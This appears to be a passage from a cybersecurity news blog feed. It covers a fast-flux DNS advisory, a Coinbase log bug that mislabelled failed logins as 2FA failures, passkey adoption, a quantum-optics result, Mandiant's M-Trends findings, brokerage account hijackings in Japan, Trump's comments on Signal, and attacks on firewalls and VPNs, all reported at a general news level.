Among the Australian Signals Directorate's Australian Cyber Security Centre (ASD's ACSC), the Canadian Centre for Cyber Security (CCCS), and the National Cyber Security Centre for New Zealand (NCSC-NZ), there is the Australian Signals Directorate's Australian Cyber Security Centre. As a result of the collaborative effort, it has been made clear that fast flux techniques have global implications and that cross-border coordination is essential to combating this evolving cyber threat. 

As a result of the growing threat of fast flux techniques, the participating agencies are strongly recommending implementing a comprehensive, multilayered defence strategy so that attacks are detected and mitigated accordingly. It is important to utilise real-time threat intelligence feeds to identify suspiciously short DNS record lifespans. Furthermore, anomaly detection across DNS query logs can be implemented, along with DNS record time-to-live (TTL) values being analysed to identify anomalies. 

Network flow data can also help in the early detection of malicious activity, as it can be used as an indicator to identify inconsistent IP geolocations and irregular communication patterns. According to the advisory, several critical mitigation strategies can be used to protect enterprises and organisations from cyber threats. These include blocking domains and IP addresses, reputational filtering of DNS traffic, monitoring and logging of network activity, and educating users about the importance of phishing awareness.

As part of the guidance, it is stressed that collaboration with Internet Service Providers (ISPS), cybersecurity vendors, and particularly Protective DNS (PDNS) providers is essential to ensuring that these countermeasures will be implemented effectively. The coordination of efforts between infrastructure providers is essential to reduce the operational effectiveness of fast flux networks, as well as disrupt the cybercriminal ecosystem which is based on them.

Coinbase Fixes Account Log Bug That Mistakenly Triggered 2FA Breach Alerts

 

Coinbase has resolved a logging issue in its system that led users to wrongly believe their accounts had been compromised, after failed login attempts were mistakenly labeled as two-factor authentication (2FA) failures. As first uncovered by BleepingComputer, the bug caused the platform to misreport login errors. Specifically, attempts made with incorrect passwords were incorrectly shown in the user activity log as “second_factor_failure” or “2-step verification failed.” 

This mislabeling gave the false impression that an attacker had entered the correct password but was blocked at the 2FA stage, which naturally raised alarm among Coinbase users. Several customers reached out to BleepingComputer, expressing concern that their accounts might have been breached. Many reported using unique passwords exclusively for Coinbase, found no signs of malware on their devices, and noticed no other suspicious account activity—adding to their confusion. Coinbase later confirmed the issue, clarifying that attackers had never made it past the password stage. 

The system had mistakenly classified these failed attempts as 2FA errors, even though the second authentication factor was never triggered. To correct the confusion, Coinbase issued an update that now properly logs such attempts as “Password attempt failed” in the account activity logs, removing any misleading implication of a 2FA failure. Such inaccuracies, while seemingly minor, can trigger unnecessary panic. Some affected users reset all their passwords and spent hours scanning their systems for threats—precautions prompted solely by the misleading logs. 

Security experts also warn that errors like this can become tools for social engineering. Misleading logs could be exploited by attackers to trick users into thinking their credentials had been stolen, potentially coercing them into revealing more information or clicking malicious links. Coinbase customers are frequently targeted in phishing and social engineering campaigns. These attacks often involve SMS messages or spoofed phone calls designed to trick victims into giving up 2FA tokens or login details.  

While there is no confirmed case of the mislabeled logs being used in such scams, BleepingComputer noted that some users had reported it. Regardless, Coinbase reiterated that it never contacts customers via phone or text to request password changes or 2FA resets. Any such communication should be treated as a scam attempt.

Many Internet Users Suffer Account Breaches Due to Weak Passwords, Study Finds

 



A recent study has shown that more than one in three people have had at least one of their online accounts broken into during the past year. The main reason? Poor or stolen passwords.

The report comes from the FIDO Alliance, a group that focuses on improving online safety. Their findings reveal that passwords are still a major weak spot in keeping digital accounts secure.


People Struggle with Passwords

The research found that 36% of people had their accounts hacked because their passwords were either easy to crack or already leaked online. Many users still rely on passwords that are short, simple, or reused across different accounts. These habits make it easier for cybercriminals to gain access.

Forgetting passwords is another common issue. Nearly half of the participants said they gave up making a purchase online because they couldn’t remember their password.


What Are Passkeys and Why Are They Safer?

To fix the problem with passwords, many websites and apps are now supporting a new method called passkeys. These don’t require typing anything in. Instead, you can log in using your fingerprint, face scan, or a PIN stored on your device.

This system is safer because the login details never leave your phone or computer, and they don’t work on fake websites. This means scammers can’t trick people into handing over their login details like they do with traditional passwords.

According to the study, most people are now aware of this new method. Around 69% have already used passkeys on at least one of their accounts, and over a third said they’ve switched entirely to using them wherever possible.


Big Tech Companies Back Passkeys

On May 2, Microsoft said it is now letting all of its users log in with passkeys instead of passwords. The company admitted that passwords simply aren’t strong enough to protect people’s accounts, even if they’re long or frequently updated.

Microsoft users can now sign in using face ID, fingerprint, or PIN on devices from Windows, Apple, or Google.


Moving Away from Passwords Altogether

To raise awareness, FIDO has renamed its annual event “World Passkey Day.” The goal is to encourage companies and users to stop relying on passwords and start using safer login tools.

As part of the event, FIDO launched a pledge for businesses that want to commit to using passkeys. More than 100 organizations have already joined in.

FIDO’s leader, Andrew Shikiar, said the shift to better login methods is necessary. He explained that years of account hacks and data leaks have shown that traditional passwords no longer offer the protection we need in a digital world.

The study surveyed 1,389 adults from the US, UK, Japan, South Korea, and China.

Scientists Achieve Groundbreaking Control Over Dual Quantum Light Sources

 

In a major milestone for quantum research, scientists from the University of Copenhagen, in collaboration with Ruhr University Bochum, have achieved what was previously thought impossible—simultaneous control over two quantum light sources. Until now, researchers had only been able to manage one, making this a pivotal step forward for the future of quantum technology.

To those outside the field, the feat may seem modest. But within the realm of quantum, it's a transformational leap. The breakthrough enables entanglement between two light sources, paving the way for future computing, encryption, and network applications powered by quantum systems.

Mastering the interaction of multiple quantum light sources is essential for building scalable quantum networks. Entanglement—the phenomenon where two particles remain interconnected regardless of distance—is central to quantumphysics. Without it, efforts to create ultra-fast quantumcomputers and advanced cybersecurity solutions would stall.

The findings, recently published in Science, mark a turning point. Researchers from the Niels Bohr Institute believe this could accelerate the commercialization of quantum technologies.

Peter Lodahl, who led the initiative, described it as a major step forward. "We can now control two quantum light sources and connect them. It might not sound like much, but it’s a major advancement and builds upon the past 20 years of work," he shared.

Lodahl, who has been investigating the potential of quantum light since 2001, added: "By doing so, we’ve revealed the key to scaling up the technology, which is crucial for the most groundbreaking of quantum hardware applications." This progress propels the global race to develop quantum-based computers, security, and even a new form of the internet.

The innovation stems from a custom-designed nanochip, only slightly wider than a human hair. Developed over several years, this chip has become the foundation for this scientific leap.

Lodahl's team specializes in photon-based quantum communication, where particles of light transport information. Until this breakthrough, the challenge was that these light sources were too sensitive to external disturbances, limiting control to just one at a time. Now, they've succeeded in developing two identical, noise-resistant quantum light sources.

"Entanglement means that by controlling one light source, you immediately affect the other. This makes it possible to create a whole network of entangled quantum light sources, all of which interact with one another, and which you can get to perform quantum bit operations in the same way as bits in a regular computer, only much more powerfully," explained lead author and postdoctoral researcher Alexey Tiranov.

A quantumbit, or qubit, can exist as both a 1 and 0 simultaneously—enabling processing speeds that dwarf traditional systems. As Lodahl notes, 100 photons from a single quantum light source contain more information
 than the world's largest supercomputer can process.

With 20-30 entangled light sources, scientists could construct a universal, error-corrected quantum computer—the ultimate prize in this field. Leading technology companies are already investing billions into this endeavor.

The biggest obstacle? Scaling from one to two light sources. This required crafting ultra-quiet nanochips and achieving precise control over both light sources. With that now achieved, the foundational research is in place. The next step: transitioning from lab success to real-world quantum systems.

"It is too expensive for a university to build a setup where we control 15-20 quantum light sources. So, now that we have contributed to understanding the fundamental quantum physics and taken the first step along the way, scaling up further is very much a technological task," said Lodahl.

The research was conducted at the Danish National Research Foundation's Center of Excellence for Hybrid Quantum Networks (Hy-Q), a joint effort between the University of Copenhagen’s Niels Bohr Institute and Ruhr University Bochum in Germany.

New Report Reveals Hackers Now Aim for Money, Not Chaos

New Report Reveals Hackers Now Aim for Money, Not Chaos

Recent research from Mandiant revealed that financially motivated hackers are the new trend, with more than (55%) of criminal gangs active in 2024 aiming to steal or extort money from their targets, a sharp rise compared to previous years. 

About the report

The main highlight of the M-Trends report is that hackers are using every opportunity to advance their goals, such as using infostealer malware to steal credentials. Another trend is attacking unsecured data repositories due to poor security hygiene. 

Hackers are also exploiting fractures and risks that surface when an organization takes its data to the cloud. “In 2024, Mandiant initiated 83 campaigns and five global events and continued to track activity identified in previous years. These campaigns affected every industry vertical and 73 countries across six continents,” the report said. 

Ransomware-related attacks accounted for 21% of all invasions in 2024 and comprised almost two-thirds of cases related to monetization tactics. This comes in addition to data theft, email hacks, cryptocurrency scams, and North Korean fake job campaigns, all attempting to get money from targets. 

Exploits were amid the most popular primary infection vector at 33%, stolen credentials at 16%, phishing at 14%, web compromises at 9%, and earlier compromises at 8%. 

Finance in danger

Finance topped in the targeted industry, with more than 17% of attacks targeting the sector, followed closely by professional services and business (11%), critical industries such as high tech (10%), governments (10%), and healthcare (9%). 

Experts have highlighted a broader target of various industries, suggesting that anyone can be targeted by state-sponsored attacks, either politically or financially motivated.  

Stuart McKenzie, Managing Director, Mandiant Consulting EMEA. said “Financially motivated attacks are still the leading category. “While ransomware, data theft, and multifaceted extortion are and will continue to be significant global cybercrime concerns, we are also tracking the rise in the adoption of infostealer malware and the developing exploitation of Web3 technologies, including cryptocurrencies.” 

He also stressed that the “increasing sophistication and automation offered by artificial intelligence are further exacerbating these threats by enabling more targeted, evasive, and widespread attacks. Organizations need to proactively gather insights to stay ahead of these trends and implement processes and tools to continuously collect and analyze threat intelligence from diverse sources.”

Surge in Brokerage Account Hacks in Japan Fuels Global Penny Stock Fraud

 

Japan is witnessing an alarming rise in online brokerage account hacks, with cybercriminals manipulating low-volume penny stocks across international markets. Since February, these fraudulent activities have totaled over ¥100 billion (approximately $710 million or ₹6,070 crore)—a trend that continues to escalate.

Hackers gain unauthorized access to investor accounts and purchase illiquid stocks—both in Japan and overseas. This artificially inflates the stock prices, allowing fraudsters to sell their own pre-acquired holdings at a profit. In response, some Japanese brokerage firms have halted buy orders for select stocks listed in China, the U.S., and Japan.

Eight major brokerages—including Rakuten Securities Inc. and SBI Securities Co.—have confirmed unauthorized trades on their platforms. The attacks have exposed systemic vulnerabilities in Japan’s cybersecurity framework and could derail the government’s push for wider retail investment, particularly for retirement savings. Victims say they are left confused and unsupported. Securities firms have largely avoided covering user losses, leading to growing distrust among investors.

Mai Mori, a 41-year-old part-time worker, said her Rakuten Securities retirement account was compromised. She lost ¥639,777, or about 12% of her portfolio, after hackers used her account to buy Chinese stocks.

“The police told me that in most fraud cases, the victims often end up having to just quietly accept the loss,” said Mori. “Basically, there’s not much that can be done.”

Rakuten told her to report the case to police, but authorities in Aichi prefecture refused, claiming that the victim was Rakuten, not Mori. The brokerage later stated it bore no responsibility.

A Rakuten spokesperson told Bloomberg, “We will continue to examine each case individually and respond in good faith.” Other brokers including SBI, SMBC Nikko, Monex Group, Matsui Securities, Nomura Securities, Daiwa Securities, and Mitsubishi UFJ Financial Group made similar statements emphasizing individual case-by-case evaluations.

Another Tokyo-based investor in his 50s, who requested anonymity, lost ¥50 million when his account was hijacked to purchase Japanese and Chinese stocks on margin. Despite receiving a suspicious notification, his brokerage was unable to freeze the account in time. Even though he previously only held index funds, his account was used to buy speculative stocks, including DesignOne Japan Inc., whose daily trading volume surged massively on the day of the hack.

Japan’s Finance Minister Katsunobu Kato has urged brokerages to discuss compensation “in good faith.” The Japan Securities Dealers Association is also working on making multi-factor authentication mandatory for all trading accounts.

“It’s not acceptable to issue a blanket denial of compensation,” said Chairman Toshio Morita. “Firms must consider each customer’s circumstances and respond appropriately.”

According to the Financial Services Agency (FSA), fraudulent trading cases skyrocketed from 33 in February to 736 by mid-April. While precise victim losses remain unclear, the breach has slowed momentum behind Japan’s investment expansion programs.

“Among people already using the system, including myself, there’s a sense that the financial firms need to do their jobs properly,” said researcher Yusuke Maeyama of NLI Research Institute. “When issues like this come up, it just reinforces their fears.”

Cybersecurity experts say criminals use tactics such as adversary-in-the-middle attacks and infostealer malware to hijack accounts. According to Nobuhiro Tsuji from SB Technology, these attacks begin with phishing emails or malicious ads that redirect users to fake websites designed to intercept login credentials. Some scams even mimic real websites alongside fake ones in split-screen browser layouts.

Infostealers, on the other hand, are malware that can extract stored passwords and personal data from infected devices without the user’s knowledge. Japan's preference for browser-based trading platforms over mobile apps—which offer better security—has contributed to the problem, said Yutaka Sejiyama of Macnica. A recent Macnica Security Research Center report found at least 105,000 leaked credentials linked to Japan.

Many victims, like Mori, have voiced their concerns on social media, sharing their losses and frustrations. Some even considered legal action but backed out due to the time and effort involved. Mori is now contemplating closing her Rakuten account but is unsure which firm to trust, fearing hidden fees or pressure tactics from full-service brokerages.

Trump Claims Administration Learnt to Avoid Signal After Group Chat Leak

 

President Donald Trump stated that his administration has learnt from Signalgate. "I think we learnt: Maybe don't use Signal, okay?" Trump spoke about the messaging app in an interview with The Atlantic published Monday.

"If you want to know the truth. I would frankly tell these people not to use Signal, although it's been used by a lot of people," US president added. "But, whatever it is, whoever has it, whoever owns it, I wouldn't want to use it.”

Last month, The Atlantic's editor in chief, Jeffrey Goldberg, revealed that he had been inadvertently included in a Signal group discussion by White House national security adviser Mike Waltz. Goldberg stated that the group chat was called "Houthi PC small group" and included other officials such as Defence Secretary Pete Hegseth, Director of National Intelligence Tulsi Gabbard, and Secretary of State Marco Rubio. "PC" stood for "principals committee." 

"In the chat, Waltz and the other Trump officials were talking about specifics of a planned U.S. strike on Houthi rebels," Goldberg claimed. The authenticity of the group discussion was later verified by the National Security Council to Business Insider. At first, Trump denied knowing about the security failure. After the incident, he defended Waltz and Hegseth, stating that he would not fire them. 

Signal, which was first launched in 2014, is a non-profit, open-source encrypted messaging application. Last month, Signal stated in an X post that misinformation was "flying around that might drive people away from Signal and private communications.”

"One piece of misinformation we need to address is the claim that there are 'vulnerabilities' in Signal," it stated on March 25, citing an NPR report that quoted a Pentagon memo it received, alerting staff of a possible vulnerability in the messaging app. 

“The memo used the term 'vulnerability' in relation to Signal — but it had nothing to do with Signal's core tech. It was warning against phishing scams targeting Signal users,” Signal wrote in its post.

Firewalls and VPNs Under Siege as Businesses Report Growing Cyber Intrusions

 


A security researcher has discovered an ongoing cyberattack that is active, exploiting a newly discovered vulnerability in Fortinet's FortiGate Firewalls to infiltrate corporate and enterprise networks and has been conducting this activity for some time. A security advisory published on Tuesday by Fortinet confirmed the existence of the critical security flaw known as CVE-2024-55591 and indicated that the vulnerability is currently being exploited in the wild. 

Nevertheless, cybersecurity experts are voicing their concerns over the possibility that malicious actors are exploiting this flaw as a zero-day vulnerability - a term that refers to a software vulnerability exploited before the vendor is made aware of or has issued a patch for it. According to a report by Fortinet, attackers may have actively targeted this vulnerability since at least December, many months before it was publicly disclosed and patched. 

In particular, organisations that heavily rely on FortiGate Firewalls for perimeter defence face a significant threat when the vulnerability is exploited by exploiting CVE-2024-55591. As a result of the vulnerability's criticality, enterprises should apply security updates as soon as possible and examine their systems for any indications of unauthorized access as soon as possible. Even though zero-day exploits remain a threat, this development highlights the fact that cybercriminals are increasingly focusing on foundational network infrastructure to gain a foothold in high-value environments. 

The use of virtual private networks (VPNs) as a critical defence mechanism against a variety of cyber threats has long been regarded as a crucial aspect of protecting digital communications from a wide range of threats. VPNs are effective in neutralising the risks associated with man-in-the-middle attacks, which involve unauthorised parties trying to intercept or manipulate data while it is in transit by encrypting the data transmissions. Through this layer of encryption, sensitive data remains secure, even across unsecured networks. 

One of the most prominent use cases for VPNs is that they serve the purpose of protecting people using public Wi-Fi networks, which are often vulnerable to unauthorised access. It has been shown that VPNs are significantly less likely to expose or compromise data in such situations because they route traffic through secure tunnels. Additionally, VPNs hide the IP addresses of users, thereby providing greater anonymity to users and reducing the possibility of malicious actors tracking or monitoring them. 

As a result of this concealment, network resources are also protected against distributed denial-of-service (DDoS) attacks, which often use IP addresses as a method of overloading network resources. Even though VPNs have been around for decades, their use today does not suffice as a standalone solution due to the increasingly complex threat landscape that exists in today's society. To ensure comprehensive protection against increasingly sophisticated attack vectors, it is important to integrate their capabilities with more advanced, adaptive cybersecurity measures. 

It seems that conventional security frameworks, such as Firewalls and VPN,s are becoming increasingly outpaced as the cybersecurity landscape continues to evolve due to the sophistication and frequency of modern threats, which have increased significantly over the past few years. Businesses across many industries are experiencing an increasing number of breaches and vulnerabilities, and traditional methods of addressing these vulnerabilities are no longer capable of doing so. 

Due to the widespread transition from on-premises infrastructure to remote and digitally distributed work environments, legacy security architectures have become increasingly vulnerable, forcing enterprises to reassess and update their defence strategies. Firewalls and VPNs were once considered to be the cornerstones of enterprise network security; however, in today's increasingly complex threat environment, they are having trouble meeting the demands. 

In the past, these technologies have played an important role in securing organisational boundaries, but today, the limitations of those technologies are becoming increasingly apparent as organisations transition to a cloud-based environment and undergo rapid digital transformation. In the year 2025, technological advances are expected to change the way industry operations are conducted—for instance, the adoption of generative artificial intelligence, automation, and the proliferation of Iot and OT systems. 

Despite these innovations, there are also unprecedented risks associated with them. For example, malicious actors use artificial intelligence to automate spear-phishing efforts, craft highly evasive malware, and exploit vulnerabilities more quickly and accurately than they could previously. In addition, as Ransomware-as-a-Service (Raas) is on the rise, the barrier to entry for hackers is dropping, enabling a broader set of threat actors to conduct sophisticated, scalable attacks on businesses. To respond effectively to the complexities of a digitally driven world, organisations must adopt proactive, adaptive cybersecurity models that are capable of responding to the challenges of this dynamic threat environment and moving beyond legacy security tools.

There has been a significant shift in cybersecurity dynamics that has led to a worrying trend: malicious actors are increasingly exploiting Virtual Private Networks (VPNs) as a strategy to gain an advantage over their adversaries. Since VPNs were originally developed as a way to enhance privacy and protect data, they are increasingly being repurposed by cybercriminals to facilitate complex attacks while masking their identity digitally. Because VPNs are dual-purpose devices, they have become instruments of exploitation, which poses a significant challenge for cybersecurity professionals as well as digital forensics teams to deal with. 

There is one particularly alarming technique for using VPN software to exploit vulnerabilities, which involves deliberately exploiting these vulnerabilities to bypass perimeter defences, infiltrate secure systems, and deploy malware without being it. When attackers identify and target these vulnerabilities, they can easily bypass perimeter defences, infiltrate secure systems, and deploy malware without being detected. 

Frequently, such breaches act as entry points into larger campaigns, such as coordinated phishing campaigns that attempt to trick individuals into revealing confidential information. Further, VPNs are known for the ability to mask the actual IP addresses of threat actors, a technique known as IP address masquerading, which enables them to evade geographical restrictions, mislead investigators, and remain anonymous when they launch cyberattacks.

In addition to enabling adversaries to circumvent Firewalls, VPNs also offer the option of encrypting and tunnelling, thus enabling them to penetrate networks that would otherwise be resistant to unauthorised access with greater ease. As a matter of fact, VPNs are often used as a means of spreading malicious software across unreliable networks. By using an encrypted VPN traffic, malware can be able to bypass traditional detection methods, thereby circumventing traditional detection methods. The shield of anonymity provided by VPNs can also be used by threat actors to impersonate legitimate organisations and initiate phishing campaigns, compromising the privacy and integrity of users. 

VPNs can also facilitate the spreading of Distributed Denial-of-Service (DDoS) attacks, which is equally troubling. As these networks are anonymised, it makes it difficult to trace the origin of such attacks, which hinders the development of appropriate response strategies and mitigation strategies. This paradox underscores the complexity of modern cybersecurity, since one security tool can serve both as a tool for cybercrime and a tool for security. 

Even though VPNs remain an important tool to keep users safe and anonymous, their misuse requires a proactive and multifaceted response. To combat this misuse, people need robust technological defences combined with ongoing awareness and education initiatives, which will help us address this misuse effectively. Only through such comprehensive measures can organisations ensure the integrity of VPN technology and ensure trust in the digital privacy infrastructure as long as the technology remains intact. 

Check Point has issued a formal warning regarding the active targeting of its VPN devices as part of an ongoing increase in cyber threats against enterprise infrastructure. As a result of this disclosure, people have been reminded again that there is a sustained campaign aimed at compromising remote access technologies and critical network defences. It is the second time in recent months that a major cybersecurity vendor has released such an alert in the past couple of months. 

According to Cisco, in April 2024, organisations are being warned about a widespread wave of brute-force attacks against VPNs and Secure Shell (SSH) services that are likely to impact several devices from Cisco, Check Point, SonicWall, Fortinet, and Ubiquiti, among others. In the first observed attack around March 18, attackers used anonymised tools, such as TOR exit nodes, proxy networks, and other techniques to obfuscate and avoid detection and block lists, to launch the attacks. 

In March of this year, Cisco had also noticed that passwords were being sprayed at their Secure Firewall appliances that were running Remote Access VPN (RAVPN) services. According to analysts, this is a reconnaissance phase, likely intended to lay the groundwork for more advanced intrusions to follow. Following a subsequent analysis by cybersecurity researcher Aaron Martin, these incidents were linked to a malware botnet dubbed "Brutus", which was previously undocumented. 

Over 20,000 IP addresses were found to be associated with this botnet that was deployed from both residential and cloud-hosted environments, which greatly complicated the process of attribution and mitigation. The threat landscape has only been compounded by Cisco's announcement that a state-sponsored hacker group, also known as UAT4356, has been utilising zero-day vulnerabilities found within its Firepower Threat Defence (FTD) and Adaptive Security Appliances to exploit zero-day vulnerabilities. 

Known by the codename ArcaneDoor, the cyber-espionage campaign has been ongoing since November 2023, targeting critical infrastructure networks as well as governments around the world as part of a broader cyber-espionage campaign. As the frequency and complexity of cyber attacks continue to increase, it is apparent that legacy perimeter defences are no longer adequate in terms of security. 

A layered, intelligence-driven approach to security includes detecting threats in real time, hardening systems continuously, and responding to incidents in a proactive manner. As well as strengthening cybersecurity resilience, fostering collaboration between public and private sectors, sharing threat intelligence, and providing ongoing training to employees can make sure that they remain ahead of their adversaries. There is no doubt that the future of secure enterprise operations is going to be determined by the ability to anticipate, adapt, and remain vigilant in this rapidly evolving digital age.